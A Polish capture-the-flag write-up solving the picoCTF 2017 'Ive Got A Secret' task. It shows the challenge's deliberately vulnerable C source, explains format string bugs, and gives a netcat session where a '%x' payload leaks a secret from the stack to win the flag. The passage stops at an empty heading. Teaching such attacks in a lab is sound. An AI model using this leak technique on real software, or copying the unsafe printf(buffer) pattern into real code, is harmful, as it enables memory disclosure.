Kolejne zadanie z picoCTF 2017 czyli Ive Got A Secret. Zadanie to wprowadza do ataków typu format string. Atak ten wykorzystuje błędny sposób przekazywania argumentów do funkcji operujących na ciągach formatujących, takich jak printf(), w języku C.
Hopefully you can find the right format for my secret! Source. Connect on shell2017.picoctf.com:6805.
HINTS
- This is a beginning format string attack.
Kod źródłowy:
#include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <stdlib.h> #define BUF_LEN 64 char buffer[BUF_LEN]; int main(int argc, char** argv) { int fd = open("/dev/urandom", O_RDONLY); if(fd == -1){ puts("Open error on /dev/urandom. Contact an admin\n"); return -1; } int secret; if(read(fd, &secret, sizeof(int)) != sizeof(int)){ puts("Read error. Contact admin!\n"); return -1; } close(fd); printf("Give me something to say!\n"); fflush(stdout); fgets(buffer, BUF_LEN, stdin); printf(buffer); int not_secret; printf("Now tell my secret in hex! Secret: "); fflush(stdout); scanf("%x", ¬_secret); if(secret == not_secret){ puts("Wow, you got it!"); system("cat ./flag.txt"); }else{ puts("As my friend says,\"You get nothing! You lose! Good day, Sir!\""); } return 0; }
Po analizie kodu widzimy że program losuje liczbę a następnie pozwala nam wprowadzić jakiś tekst który drukuje na ekran. Po tym pyta nas o liczbę którą wylosował w formacie hex, jeśli podamy prawidłową zwraca flagę.
Jak podpowiada wskazówka zadanie dotyczy ataku typu „format string”, występuje ona jeśli w programie mamy printf(zmienna); zamiast printf(„%s”,zmienna);.
Jeśli zmienna pochodzi od użytkownika możemy w jej treści podać specjalne znaczniki szablonów jak %i, %x itd. które przez funkcje zostaną zamienne na zmienne podane jako kolejne argumenty funkcji a jeśli ich nie ma tak jak w tym przypadku kolejne wartości ze stosu.
I tutaj jest nasze rozwiązanie, po połączeniu się netcat’em z aplikacją pyta ona nas stringa więc wpisujemy ciąg: „%x %x %x %x %x %x %x %x %x” który wyświetli kilka kolejnych wartości ze stosu (gdzie przecież znajduje się wartość sekretnej liczby) w formacie HEX bo w takim formacie musimy podać rozwiązane. Teraz wystarczy kolejno spróbować podać każdą z wartości jako rozwiązanie, szósta wartość c8f45c5a to zawartość zmiennej secret.
ircykk@ubuntu:~$ nc shell2017.picoctf.com 6805 Give me something to say! %x %x %x %x %x %x %x %x %x 40 f7fc7c20 8048792 1 ffffdd34 c8f45c5a 3 f7fc73c4 ffffdca0 Now tell my secret in hex! Secret: c8f45c5a d2b1dd0dc7b29ccfb612d9978d9f9ca4 Wow, you got it!
Objaśnienie tematu: